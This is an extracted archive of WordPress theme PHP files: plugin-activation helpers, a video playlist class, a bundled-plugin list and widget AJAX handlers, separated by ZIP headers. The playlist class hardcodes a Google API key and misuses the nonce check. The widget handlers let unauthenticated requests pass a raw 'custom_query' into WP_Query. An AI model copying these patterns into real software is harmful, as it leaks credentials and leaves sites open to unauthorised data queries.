					 * @since 2.5.0
					 *
					 */
					public function auto_activate( $bool ) {

						// Only process the activation of installed plugins if the automatic flag is set to true.
						if ( $this->tgmpa->is_automatic ) {

							// Flush plugins cache so the headers of the newly installed plugins will be read correctly.
							wp_clean_plugins_cache();

							// Get the installed plugin file.
							$plugin_info = $this->plugin_info();

							// Don't try to activate on upgrade of active plugin as WP will do this already.
							if ( ! is_plugin_active( $plugin_info ) ) {
								$activate = activate_plugin( $plugin_info );

								// Adjust the success string based on the activation result.
								$this->strings['process_success'] = $this->strings['process_success'] . "<br />\n";

								if ( is_wp_error( $activate ) ) {
									$this->skin->error( $activate );
									$this->strings['process_success'] .= $this->strings['activation_failed'];

								} else {
									$this->strings['process_success'] .= $this->strings['activation_success'];
								}
							}
						}

						return $bool;
					}
				}
			}

			if ( ! class_exists( 'TGM_Bulk_Installer_Skin' ) ) {

				/**
				 * Installer skin to set strings for the bulk plugin installations..
				 *
				 * Extends Bulk_Upgrader_Skin and customizes to suit the installation of multiple
				 * plugins.
				 *
				 * @since 2.2.0
				 *
				 * @see https://core.trac.wordpress.org/browser/trunk/src/wp-admin/includes/class-wp-upgrader-skins.php
				 *
				 * @package TGM-Plugin-Activation
				 * @author  Thomas Griffin
				 * @author  Gary Jones
				 */
				class TGM_Bulk_Installer_Skin extends Bulk_Upgrader_Skin {

					/**
					 * Holds plugin info for each individual plugin installation.
					 *
					 * @since 2.2.0
					 *
					 * @var array
					 */
					public $plugin_info = array();

					/**
					 * Holds names of plugins that are undergoing bulk installations.
					 *
					 * @since 2.2.0
					 *
					 * @var array
					 */
					public $plugin_names = array();

					/**
					 * Integer to use for iteration through each plugin installation.
					 *
					 * @since 2.2.0
					 *
					 * @var integer
					 */
					public $i = 0;

					/**
					 * TGMPA instance
					 *
					 * @since 2.5.0
					 *
					 * @var object
					 */
					protected $tgmpa;

					/**
					 * Constructor. Parses default args with new ones and extracts them for use.
					 *
					 * @param array $args Arguments to pass for use within the class.
					 *
					 * @since 2.2.0
					 *
					 */
					public function __construct( $args = array() ) {
						// Get TGMPA class instance.
						$this->tgmpa = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );

						// Parse default and new args.
						$defaults = array(
							'url'          => '',
							'nonce'        => '',
							'names'        => array(),
							'install_type' => 'install',
						);
						$args     = wp_parse_args( $args, $defaults );

						// Set plugin names to $this->plugin_names property.
						$this->plugin_names = $args['names'];

						// Extract the new args.
						parent::__construct( $args );

					}

					/**
					 * Sets install skin strings for each individual plugin.
					 *
					 * Checks to see if the automatic activation flag is set and uses the
					 * the proper strings accordingly.
					 *
					 * @since 2.2.0
					 */
					public function add_strings() {
						if ( 'update' === $this->options['install_type'] ) {
							parent::add_strings();
							$this->upgrader->strings['skin_before_update_header'] = esc_html__( 'Updating Plugin %1$s (%2$d/%3$d)', 'tgmpa' );

						} else {

							$this->upgrader->strings['skin_update_failed_error'] = esc_html__( 'An error occurred while installing %1$s: <strong>%2$s</strong>.', 'tgmpa' );
							$this->upgrader->strings['skin_update_failed']       = esc_html__( 'The installation of %1$s failed.', 'tgmpa' );

							if ( $this->tgmpa->is_automatic ) {
								// Automatic activation strings.
								$this->upgrader->strings['skin_upgrade_start']        = esc_html__( 'The installation and activation process is starting. This process may take a while on some hosts, so please be patient.', 'tgmpa' );
								$this->upgrader->strings['skin_update_successful']    = esc_html__( '%1$s installed and activated successfully.', 'tgmpa' );
								$this->upgrader->strings['skin_upgrade_end']          = esc_html__( 'All installations and activations have been completed.', 'tgmpa' );
								$this->upgrader->strings['skin_before_update_header'] = esc_html__( 'Installing and Activating Plugin %1$s (%2$d/%3$d)', 'tgmpa' );

							} else {
								// Default installation strings.
								$this->upgrader->strings['skin_upgrade_start']        = esc_html__( 'The installation process is starting. This process may take a while on some hosts, so please be patient.', 'tgmpa' );
								$this->upgrader->strings['skin_update_successful']    = esc_html__( '%1$s installed successfully.', 'tgmpa' );
								$this->upgrader->strings['skin_upgrade_end']          = esc_html__( 'All installations have been completed.', 'tgmpa' );
								$this->upgrader->strings['skin_before_update_header'] = esc_html__( 'Installing Plugin %1$s (%2$d/%3$d)', 'tgmpa' );
							}
						}
					}

					/**
					 * Outputs the header strings and necessary JS before each plugin installation.
					 *
					 * @param string $title Unused in this implementation.
					 *
					 * @since 2.2.0
					 *
					 */
					public function before( $title = '' ) {
						if ( empty( $title ) ) {
							$title = esc_html( $this->plugin_names[ $this->i ] );
						}
						parent::before( $title );
					}

					/**
					 * Outputs the footer strings and necessary JS after each plugin installation.
					 *
					 * Checks for any errors and outputs them if they exist, else output
					 * success strings.
					 *
					 * @param string $title Unused in this implementation.
					 *
					 * @since 2.2.0
					 *
					 */
					public function after( $title = '' ) {
						if ( empty( $title ) ) {
							$title = esc_html( $this->plugin_names[ $this->i ] );
						}
						parent::after( $title );

						$this->i ++;
					}

					/**
					 * Outputs links after bulk plugin installation is complete.
					 *
					 * @since 2.2.0
					 */
					public function bulk_footer() {

						// Serve up the string to say installations (and possibly activations) are complete.
						parent::bulk_footer();

						// Flush plugins cache so we can make sure that the installed plugins list is always up to date.
						wp_clean_plugins_cache();

						$this->tgmpa->show_tgmpa_version();

						// Display message based on if all plugins are now active or not.
						$update_actions = array();

						if ( $this->tgmpa->is_tgmpa_complete() ) {
							// All plugins are active, so we display the complete string and hide the menu to protect users.
							echo '<style type="text/css">#adminmenu .wp-submenu li.current { display: none !important; }</style>';
							$update_actions['dashboard'] = sprintf( esc_html( $this->tgmpa->strings['complete'] ), '<a href="' . esc_url( self_admin_url() ) . '">' . esc_html__( 'Return to the Dashboard', 'tgmpa' ) . '</a>' );
						} else {
							$update_actions['tgmpa_page'] = '<a href="' . esc_url( $this->tgmpa->get_tgmpa_url() ) . '" target="_parent">' . esc_html( $this->tgmpa->strings['return'] ) . '</a>';
						}

						/**
						 * Filter the list of action links available following bulk plugin installs/updates.
						 *
						 * @param array $update_actions Array of plugin action links.
						 * @param array $plugin_info Array of information for the last-handled plugin.
						 *
						 * @since 2.5.0
						 *
						 */
						$update_actions = apply_filters( 'tgmpa_update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info );

						if ( ! empty( $update_actions ) ) {
							$this->feedback( implode( ' | ', (array) $update_actions ) );
						}
					}

					/* *********** DEPRECATED METHODS *********** */

					/**
					 * Flush header output buffer.
					 *
					 * @since      2.2.0
					 * @deprecated 2.5.0 use {@see Bulk_Upgrader_Skin::flush_output()} instead
					 * @see        Bulk_Upgrader_Skin::flush_output()
					 */
					public function before_flush_output() {
						_deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'Bulk_Upgrader_Skin::flush_output()' );
						$this->flush_output();
					}

					/**
					 * Flush footer output buffer and iterate $this->i to make sure the
					 * installation strings reference the correct plugin.
					 *
					 * @since      2.2.0
					 * @deprecated 2.5.0 use {@see Bulk_Upgrader_Skin::flush_output()} instead
					 * @see        Bulk_Upgrader_Skin::flush_output()
					 */
					public function after_flush_output() {
						_deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'Bulk_Upgrader_Skin::flush_output()' );
						$this->flush_output();
						$this->i ++;
					}
				}
			}
		}

	}
}


if ( ! class_exists( 'TGM_Utils' ) ) {

	/**
	 * Generic utilities for TGMPA.
	 *
	 * All methods are static, poor-dev name-spacing class wrapper.
	 *
	 * @since 2.5.0
	 *
	 * @package TGM-Plugin-Activation
	 * @author  Juliette Reinders Folmer
	 */
	class TGM_Utils {

		/**
		 * Whether the PHP filter extension is enabled.
		 *
		 * @see http://php.net/book.filter
		 *
		 * @since 2.5.0
		 *
		 * @static
		 *
		 * @var bool $has_filters True is the extension is enabled.
		 */
		public static $has_filters;


		/**
		 * Wrap an arbitrary string in <em> tags. Meant to be used in combination with array_map().
		 *
		 * @param string $string Text to be wrapped.
		 *
		 * @return string
		 * @since 2.5.0
		 *
		 * @static
		 *
		 */
		public static function wrap_in_em( $string ) {
			return '<em>' . wp_kses_post( $string ) . '</em>';
		}

		/**
		 * Wrap an arbitrary string in <strong> tags. Meant to be used in combination with array_map().
		 *
		 * @param string $string Text to be wrapped.
		 *
		 * @return string
		 * @since 2.5.0
		 *
		 * @static
		 *
		 */
		public static function wrap_in_strong( $string ) {
			return '<strong>' . wp_kses_post( $string ) . '</strong>';
		}

		/**
		 * Helper function: Validate a value as boolean
		 *
		 * @param mixed $value Arbitrary value.
		 *
		 * @return bool
		 * @since 2.5.0
		 *
		 * @static
		 *
		 */
		public static function validate_bool( $value ) {
			if ( ! isset( self::$has_filters ) ) {
				self::$has_filters = extension_loaded( 'filter' );
			}

			if ( self::$has_filters ) {
				return filter_var( $value, FILTER_VALIDATE_BOOLEAN );

			} else {
				return self::emulate_filter_bool( $value );
			}
		}

		/**
		 * Helper function: Cast a value to bool
		 *
		 * @param mixed $value Value to cast.
		 *
		 * @return bool
		 * @since 2.5.0
		 *
		 * @static
		 *
		 */
		protected static function emulate_filter_bool( $value ) {

			static $true = array(
				'1',
				'true',
				'True',
				'TRUE',
				'y',
				'Y',
				'yes',
				'Yes',
				'YES',
				'on',
				'On',
				'ON',
			);
			static $false = array(
				'0',
				'false',
				'False',
				'FALSE',
				'n',
				'N',
				'no',
				'No',
				'NO',
				'off',
				'Off',
				'OFF',
			);

			if ( is_bool( $value ) ) {
				return $value;

			} else if ( is_int( $value ) && ( 0 === $value || 1 === $value ) ) {
				return (bool) $value;

			} else if ( ( is_float( $value ) && ! is_nan( $value ) ) && ( (float) 0 === $value || (float) 1 === $value ) ) {
				return (bool) $value;

			} else if ( is_string( $value ) ) {

				$value = trim( $value );
				if ( in_array( $value, $true, true ) ) {
					return true;

				} else if ( in_array( $value, $false, true ) ) {
					return false;

				} else {
					return false;
				}
			}

			return false;
		}

	} // End of class TGM_Utils

} // End of class_exists wrapper
PK     1w\gc   c     videos-playlist.phpnu [        <?php
/**
 * Video Playlist Class
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly


/*
-----------------------------------------------------------------------------------*/
// Get Youtube Video data
/*-----------------------------------------------------------------------------------*/
if ( ! class_exists( 'Penci_Video_List' ) ) {

	class Penci_Video_List {


		static $youtube_key      = 'AIzaSyAPRocQxSO9mFJE9sbLDXXk_xaS201r50c';
		static $youtube_api_base = 'https://www.googleapis.com/youtube/v3/videos';
		static $vimeo_api_base   = 'https://vimeo.com/api/v2/video/';


		public function __construct() {
			if ( is_admin() ) {
				add_action( 'wp_ajax_nopriv_penci_save_video_playlist', array( __CLASS__, 'save_video_playlist' ) );
				add_action( 'wp_ajax_penci_save_video_playlist', array( __CLASS__, 'save_video_playlist' ) );

				add_action( 'wp_ajax_nopriv_penci_remove_video_playlist', array( __CLASS__, 'remove_video_playlist' ) );
				add_action( 'wp_ajax_penci_remove_video_playlist', array( __CLASS__, 'remove_video_playlist' ) );
			}
		}

		public static function request_args() {
			return array(
				'headers' => array(
					'Referer' => get_home_url(),
				),
			);
		}

		/**
		 * Save Videos list
		 */
		public static function save_video_playlist() {

			if ( wp_verify_nonce( 'nonce', 'ajax-nonce' ) && current_user_can( 'edit_posts' ) ) {

				$videos       = isset( $_POST['videoList'] ) ? $_POST['videoList'] : '';
				$shortcode_id = isset( $_POST['shortcodeId'] ) ? $_POST['shortcodeId'] : '';

				$video_infos = self::get_video_infos( $videos );

				$option_video = get_option( 'penci-shortcode-playlist-' . $shortcode_id );

				if ( $option_video != $video_infos ) {
					update_option( 'penci-shortcode-playlist-' . $shortcode_id, $video_infos );
				}

				wp_send_json_success();
			}
		}

		/**
		 * Remove Videos list
		 */
		public static function remove_video_playlist() {

			if ( wp_verify_nonce( 'nonce', 'ajax-nonce' ) && current_user_can( 'edit_posts' ) ) {

				$shortcode_id = isset( $_POST['shortcodeId'] ) ? $_POST['shortcodeId'] : '';

				delete_option( 'penci-shortcode-playlist-' . $shortcode_id );

				wp_send_json_success( 'penci-shortcode-playlist-' . $shortcode_id );
			}
		}


		public static function get_video_infos( $videos ) {
			$videos_list = array();
			if ( empty( $videos ) ) {
				return $videos_list;
			}

			$videos_data = self::get_video_info( $videos );

			if ( empty( $videos_data ) ) {
				return $videos_list;
			}

			$youtube_thumb_base  = 'https://i.ytimg.com/vi/';
			$youtube_player_base = 'https://www.youtube.com/embed/';
			$vimeo_thumb_base    = 'https://i.vimeocdn.com/video/';
			$vimeo_player_base   = 'https://player.vimeo.com/video/';

			foreach ( $videos_data as $video ) {

				if ( empty( $video['id'] ) ) {
					continue;
				}

				if ( 'youtube' == $video['type'] ) {
					$video['thumb'] = $youtube_thumb_base . $video['id'] . '/default.jpg';
					$video['id']    = $youtube_player_base . $video['id'] . '?enablejsapi=1&amp;rel=0&amp;showinfo=0';
				} elseif ( $video['type'] == 'vimeo' ) {
					$video['thumb'] = $vimeo_thumb_base . $video['thumb'];
					$video['id']    = $vimeo_player_base . $video['id'] . '?api=1&amp;title=0&amp;byline=0';
				}

				$videos_list[] = $video;
			}

			return $videos_list;
		}

		/**
		 * Get Videos List data
		 *
		 * @param $videos_list
		 *
		 * @return array
		 */
		public static function get_video_info( $videos_list ) {

			$videos_list = array_filter( $videos_list );
			$videos_ids  = array();

			foreach ( $videos_list as $video ) {
				// Youtube
				if ( preg_match( "#(?<=v=)[a-zA-Z0-9-]+(?=&)|(?<=v\/)[^&\n]+(?=\?)|(?<=v=)[^&\n]+|(?<=youtu.be/)[^&\n]+#", $video, $matches ) ) {

					$video_id = preg_replace( '/\s+/', '', $matches[0] );

					$videos_ids[] = self::get_youtube_info( $video_id );
				} // Vimeo
				elseif ( preg_match( '/(https?:\/\/)?(www\.)?(player\.)?vimeo\.com\/([a-z]*\/)*([0-9]{6,11})[?]?.*/', $video, $matches ) ) {
					$video_id     = preg_replace( '/\s+/', '', $matches[5] );
					$videos_ids[] = self::get_vimeo_info( $video_id );
				}
			}

			return $videos_ids;
		}


		/**
		 * Get Youtube Video data
		 *
		 * @param $vid
		 *
		 * @return null
		 */
		private static function get_youtube_info( $video_id ) {
			$video = array();
			// Build the Api request

			$key = get_theme_mod( 'penci_youtube_api_key' ) ? get_theme_mod( 'penci_youtube_api_key' ) : self::$youtube_key;

			$params = array(
				'part' => 'snippet,contentDetails',
				'id'   => $video_id,
				'key'  => $key,
			);

			$api_url = self::$youtube_api_base . '?' . http_build_query( $params );

			$request = wp_remote_get( $api_url, self::request_args() );

			// Check if there are errors
			if ( is_wp_error( $request ) ) {
				return null;
			}

			// Prepare the data
			$result = json_decode( wp_remote_retrieve_body( $request ), true );

			// Check if the video title is exists
			if ( empty( $result['items'][0]['snippet']['title'] ) ) {
				return null;
			}

			// Prepare the Video duration
			$video_info = $result['items'][0]['contentDetails'];

			if ( ! empty( $video_info['duration'] ) ) {
				$interval          = new DateInterval( $video_info['duration'] );
				$duration_sec      = $interval->h * 3600 + $interval->i * 60 + $interval->s;
				$time_format       = ( $duration_sec >= 3600 ) ? 'H:i:s' : 'i:s';
				$video['duration'] = gmdate( $time_format, $duration_sec );
			}

			// Video data
			$video['title'] = $result['items'][0]['snippet']['title'];
			$video['id']    = $video_id;
			$video['type']  = 'youtube';

			return $video;
		}

		/**
		 * Get Vimeo Video data
		 *
		 * @param $vid
		 *
		 * @return null
		 */
		private static function get_vimeo_info( $video_id ) {

			$video = array();
			// Build the Api request
			$api_url = self::$vimeo_api_base . $video_id . '.json';
			$request = wp_remote_get( $api_url, self::request_args() );

			// Check if there is no any errors
			if ( is_wp_error( $request ) ) {
				return null;
			}

			// Prepare the data
			$result = json_decode( wp_remote_retrieve_body( $request ), true );

			// Check if the video title is exists -
			if ( empty( $result[0]['title'] ) ) {
				return null;
			}

			// Prepare the Video duration
			if ( ! empty( $result[0]['duration'] ) ) {

				$duration_sec      = $result[0]['duration'];
				$time_format       = ( $duration_sec >= 3600 ) ? 'H:i:s' : 'i:s';
				$video['duration'] = gmdate( $time_format, $duration_sec );
			}

			// Prepare the Video thumbnail
			if ( ! empty( $result[0]['thumbnail_small'] ) ) {
				$video_thumb    = @parse_url( $result[0]['thumbnail_small'] );
				$video_thumb    = str_replace( '/video/', '', $video_thumb['path'] );
				$video['thumb'] = $video_thumb;
			}

			// Video data
			$video['title'] = $result[0]['title'];
			$video['id']    = $video_id;
			$video['type']  = 'vimeo';

			return $video;
		}

		public static function get_playlist_videos_ids( $playlist_id, $limit ) {

			if ( $playlist_id && filter_var( $playlist_id, FILTER_VALIDATE_URL ) ) {
				$url = parse_url( $playlist_id );
				parse_str( $url['query'], $params );
				$playlist_id = isset( $params['list'] ) && $params['list'] ? $params['list'] : '';
			}

			if ( ! $playlist_id ) {
				return false;
			}

			$video_ids        = array();
			$youtube_base_url = 'https://www.youtube.com/watch?v=';

			$yt_api_key = get_theme_mod( 'penci_youtube_api_key' );

			$json_playlist_api_url      = 'https://www.googleapis.com/youtube/v3/playlistItems?part=id,snippet,contentDetails,status&maxResults=' . $limit . '&playlistId=' . $playlist_id . '&key=' . $yt_api_key;
			$json_playlist_api_response = json_decode( wp_remote_retrieve_body( wp_remote_get( $json_playlist_api_url, self::request_args() ) ), true );

			if ( isset( $json_playlist_api_response['items'] ) && ! empty( $json_playlist_api_response['items'] ) && is_array( $json_playlist_api_response['items'] ) ) {
				foreach ( $json_playlist_api_response['items'] as $video_item ) {
					$video_ids[] = $youtube_base_url . $video_item['contentDetails']['videoId'];
				}
			}

			if ( ! empty( $video_ids ) ) {
				return self::get_video_infos( $video_ids );
			}

			return false;
		}
	}
}


new Penci_Video_List();
PK     1w\KUG  G    plugins.phpnu [        <?php
/**
 * Include the TGM_Plugin_Activation class.
 */

require_once trailingslashit( PENCI_SOLEDAD_DIR ) . 'inc/class-tgm-plugin-activation.php';

add_action( 'tgmpa_register', 'penci_register_required_plugins' );
if ( ! function_exists( 'penci_register_required_plugins' ) ) {
	function penci_register_required_plugins() {
		$link_server = apply_filters( 'penci_plugins_server', 'https://s3.amazonaws.com/soledad-plugins/' );
		$plugins = array(
			array(
				'name'     => 'Penci Shortcodes & Performance',
				'slug'     => 'penci-shortcodes',
				'source'   => $link_server . 'penci-shortcodes.zip',
				'required' => true,
				'version'  => '5.9',
			),
			array(
				'name'     => 'Penci Text To Speech',
				'slug'     => 'penci-text-to-speech',
				'optional' => true,
				'source'   => $link_server . 'penci-text-to-speech.zip',
				'required' => false,
				'version'  => '1.6',
			),
			array(
				'name'     => 'Vafpress Post Formats UI',
				'slug'     => 'vafpress-post-formats-ui-develop',
				'source'   => $link_server . 'vafpress-post-formats-ui-develop.zip',
				'required' => false,
				'version'  => '1.8',
			),
			array(
				'name'     => 'Elementor Page Builder',
				'slug'     => 'elementor',
				'required' => true,
				'version'  => '',
			),
			array(
				'name'     => 'Penci Slider',
				'slug'     => 'penci-soledad-slider',
				'source'   => $link_server . 'penci-soledad-slider.zip',
				'optional' => true,
				'required' => false,
				'version'  => '1.1',
			),
			array(
				'name'     => 'Penci Portfolio',
				'slug'     => 'penci-portfolio',
				'source'   => $link_server . 'penci-portfolio.zip',
				'required' => false,
				'version'  => '3.5',
			),
			array(
				'name'     => 'Penci Recipe',
				'slug'     => 'penci-recipe',
				'source'   => $link_server . 'penci-recipe.zip',
				'required' => false,
				'version'  => '4.0',
			),
			array(
				'name'     => 'Penci Review',
				'slug'     => 'penci-review',
				'source'   => $link_server . 'penci-review.zip',
				'required' => false,
				'version'  => '3.5',
			),
			array(
				'name'     => 'Penci Soledad Demo Importer',
				'slug'     => 'penci-soledad-demo-importer',
				'source'   => $link_server . 'penci-soledad-demo-importer.zip',
				'required' => false,
				'version'  => '5.5',
			),
			array(
				'name'     => 'Penci Soledad Data Migrator',
				'optional' => true,
				'slug'     => 'penci-data-migrator',
				'source'   => $link_server . 'penci-data-migrator.zip',
				'required' => false,
				'version'  => '1.2',
			),
			array(
				'name'     => 'Penci Social Feed',
				'optional' => true,
				'slug'     => 'penci-tiktok-twitter-feed',
				'source'   => $link_server . 'penci-tiktok-twitter-feed.zip',
				'required' => false,
				'version'  => '1.1',
			),
			array(
				'name'     => 'Penci Frontend Submission',
				'optional' => true,
				'slug'     => 'penci-frontend-submission',
				'source'   => $link_server . 'penci-frontend-submission.zip',
				'required' => false,
				'version'  => '1.7',
			),
			array(
				'name'     => 'Penci Paywall',
				'optional' => true,
				'slug'     => 'penci-paywall',
				'source'   => $link_server . 'penci-paywall.zip',
				'required' => false,
				'version'  => '2.3',
			),
			array(
				'name'     => 'Penci Pay Writer',
				'optional' => true,
				'slug'     => 'penci-pay-writer',
				'source'   => $link_server . 'penci-pay-writer.zip',
				'required' => false,
				'version'  => '1.4',
			),
			array(
				'name'     => 'Penci RSS Aggregator',
				'optional' => true,
				'slug'     => 'penci-feeds',
				'source'   => $link_server . 'penci-feeds.zip',
				'required' => false,
				'version'  => '1.3',
			),
			array(
				'name'     => 'Penci Podcast',
				'optional' => true,
				'slug'     => 'penci-podcast',
				'source'   => $link_server . 'penci-podcast.zip',
				'required' => false,
				'version'  => '1.4',
			),
			array(
				'name'     => 'Penci AI SmartContent Creator',
				'optional' => true,
				'slug'     => 'penci-ai',
				'source'   => $link_server . 'penci-ai.zip',
				'required' => false,
				'version'  => '1.9',
			),
			array(
				'name'     => 'Penci Bookmark & Follow',
				'optional' => true,
				'slug'     => 'penci-bookmark-follow',
				'source'   => $link_server . 'penci-bookmark-follow.zip',
				'required' => false,
				'version'  => '2.0',
			),
			array(
				'name'     => 'Penci Finance',
				'optional' => true,
				'slug'     => 'penci-finance',
				'source'   => $link_server . 'penci-finance.zip',
				'required' => false,
				'version'  => '1.4',
			),
			array(
				'name'     => 'Penci Sport',
				'optional' => true,
				'slug'     => 'penci-sport',
				'source'   => $link_server . 'penci-sport.zip',
				'required' => false,
				'version'  => '1.2',
			),
			array(
				'name'     => 'Penci Smart Crop Thumbnails',
				'optional' => true,
				'slug'     => 'penci-smart-crop-thumbnails',
				'source'   => $link_server . 'penci-smart-crop-thumbnails.zip',
				'required' => false,
				'version'  => '1.2',
			),
			array(
				'name'     => 'Penci Live Blog',
				'optional' => true,
				'slug'     => 'penci-liveblog',
				'source'   => $link_server . 'penci-liveblog.zip',
				'required' => false,
				'version'  => '1.3',
			),
			array(
				'name'     => 'Penci Google Analytics Views',
				'optional' => true,
				'slug'     => 'penci-ga-views',
				'source'   => $link_server . 'penci-ga-views.zip',
				'required' => false,
				'version'  => '1.1',
			),
			array(
				'name'     => 'Penci Mobile Templates',
				'optional' => true,
				'slug'     => 'penci-mobile-templates',
				'source'   => $link_server . 'penci-mobile-templates.zip',
				'required' => false,
				'version'  => '1.2',
			),
			array(
				'name'     => 'Penci Filter Everything',
				'optional' => true,
				'slug'     => 'penci-filter-everything',
				'source'   => $link_server . 'penci-filter-everything.zip',
				'required' => false,
				'version'  => '1.5',
			),
			array(
				'name'     => 'Penci Player Rankings',
				'optional' => true,
				'slug'     => 'penci-player-rankings',
				'source'   => $link_server . 'penci-players-rankings.zip',
				'required' => false,
				'version'  => '1.0',
			),
			array(
				'name'     => 'Contact Form 7',
				'slug'     => 'contact-form-7',
				'required' => false,
				'version'  => '',
			),
			array(
				'name'     => 'MailChimp for WordPress',
				'slug'     => 'mailchimp-for-wp',
				'required' => false,
				'version'  => '',
			),
			array(
				'name'     => 'Penci Soledad AMP',
				'optional' => true,
				'slug'     => 'penci-soledad-amp',
				'source'   => $link_server . 'penci-soledad-amp.zip',
				'required' => false,
				'version'  => '5.3',
			),
			array(
				'name'     => 'HubSpot - All-in-One Marketing',
				'slug'     => 'leadin',
				'required' => false,
				'version'  => '',
			),
		);
		$config  = array(
			'id'           => 'tgmpa',
			'default_path' => '',
			'menu'         => 'tgmpa-install-plugins',
			'parent_slug'  => 'themes.php',
			'capability'   => 'edit_theme_options',
			'has_notices'  => true,
			'dismissable'  => true,
			'dismiss_msg'  => '',
			'is_automatic' => true,
			'message'      => '',
		);

		tgmpa( $plugins, $config );
	}
}PK     1w\~K       widgets-ajax.phpnu [        <?php
add_action( 'wp_ajax_nopriv_penci_stylisted_articles_count_ajax', 'penci_stylisted_articles_count_ajax' );
add_action( 'wp_ajax_penci_stylisted_articles_count_ajax', 'penci_stylisted_articles_count_ajax' );
function penci_stylisted_articles_count_ajax() {
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );
	/* Our variables from the widget settings. */
	$instance   = str_replace( 'u00a0', '', str_replace( '\\', '', $_POST['settings'] ) );
	$instance   = json_decode( $instance, true );
	$paged      = $_POST['paged'];
	$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
	$orderby    = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
	$order      = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
	$number     = isset( $instance['number'] ) ? $instance['number'] : '';
	$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
	$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
	if ( ! $ptype ): $ptype = 'post'; endif;
	$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
	$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
	$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
	$sticky_value = ( false == $sticky ) ? 0 : 1;
	$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
	$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
	$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
	$showauthor   = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
	$showcomment  = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
	$showviews    = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
	$columns      = isset( $instance['columns'] ) ? $instance['columns'] : '';
	$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
	$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();

	$thumb = 'penci-thumb-masonry';

	if ( $image_type == 'horizontal' ) {
		$thumb = 'penci-thumb-small';
	} elseif ( $image_type == 'square' ) {
		$thumb = 'penci-thumb-square';
	} elseif ( $image_type == 'vertical' ) {
		$thumb = 'penci-thumb-vertical';
	}

	if ( isset( $instance['custom_query'] ) && $instance['custom_query'] ) {
		$query  = $instance['custom_query'];
		$number = $query['posts_per_page'];
	} else {
		$query = array(
			'posts_per_page'      => $number,
			'post_type'           => $ptype,
			'ignore_sticky_posts' => $sticky_value
		);


		if ( isset( $instance['cats_id'] ) ) {
			if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
				$query['category__in'] = $cats_id;
			}
		} else {
			$term_name = get_cat_name( $categories );
			$term      = term_exists( $term_name, 'category' );

			if ( $term !== 0 && $term !== null ) {
				$query['cat'] = $categories;
			}
		}

		if ( ! empty( $tags_id ) ) {
			if ( ! in_array( 'all', $tags_id ) ) {
				$query['tag__in'] = $tags_id;
			}
		}

		if ( $orderby == 'week' ) {
			$query['meta_key'] = 'penci_post_week_views_count';
			$query['orderby']  = 'meta_value_num';
		} elseif ( $orderby == 'month' ) {
			$query['meta_key'] = 'penci_post_month_views_count';
			$query['orderby']  = 'meta_value_num';
		} elseif ( $orderby == 'jetpack' ) {
			$query['meta_key'] = '_jetpack_post_view';
			$query['orderby']  = 'meta_value_num';
		} elseif ( $orderby == 'all' ) {
			$query['meta_key'] = penci_get_postviews_key();
			$query['orderby']  = 'meta_value_num';
		} elseif ( $orderby ) {
			$query['orderby'] = $orderby;
		}

		if ( $order ) {
			$query['order'] = $order;
		}


		if ( $taxonomy && ( 'post' != $ptype ) ) {
			$taxonomy  = str_replace( ' ', '', $taxonomy );
			$tax_array = explode( ',', $taxonomy );

			foreach ( $tax_array as $tax ) {
				$tax_ids_array = array();
				if ( $tax_ids ) {
					$tax_ids       = str_replace( ' ', '', $tax_ids );
					$tax_ids_array = explode( ',', $tax_ids );
				} else {
					$get_all_terms = get_terms( $tax );
					if ( ! empty( $get_all_terms ) ) {
						foreach ( $get_all_terms as $term ) {
							$tax_ids_array[] = $term->term_id;
						}
					}
				}

				if ( ! empty( $tax_ids_array ) ) {
					$query['tax_query'][] = array(
						'taxonomy' => $tax,
						'field'    => 'term_id',
						'terms'    => $tax_ids_array
					);
				}
			}
		}

	}

	if ( $paged ) {
		$query['paged'] = $paged;
	}

	if ( $offset ) {
		$query['offset'] = $offset;
	}


	$loop = new WP_Query( $query );
	if ( $loop->have_posts() ) :
		get_template_part( 'inc/templates/popular_posts', '', [
			'loop'         => $loop,
			'class'        => 'demo',
			'showauthor'   => $showauthor,
			'postdate'     => $postdate,
			'showviews'    => $showviews,
			'showcomment'  => $showcomment,
			'title_length' => $title_length,
			'thumb'        => $thumb,
			'columns'      => $columns,
			'id'           => '',
			'data_attr'    => '',
			'paged'        => $paged,
		] );
	endif;
	die();
}

add_action( 'wp_ajax_nopriv_penci_latest_news_widget_ajax', 'penci_latest_news_widget_ajax' );
add_action( 'wp_ajax_penci_latest_news_widget_ajax', 'penci_latest_news_widget_ajax' );
function penci_latest_news_widget_ajax() {
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );
	/* Our variables from the widget settings. */
	$instance   = str_replace( 'u00a0', '', str_replace( '\\', '', $_POST['settings'] ) );
	$instance   = json_decode( $instance, true );
	$paged      = $_POST['paged'];
	$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
	$orderby    = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
	$order      = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
	$number     = isset( $instance['number'] ) ? $instance['number'] : '';
	$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
	$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
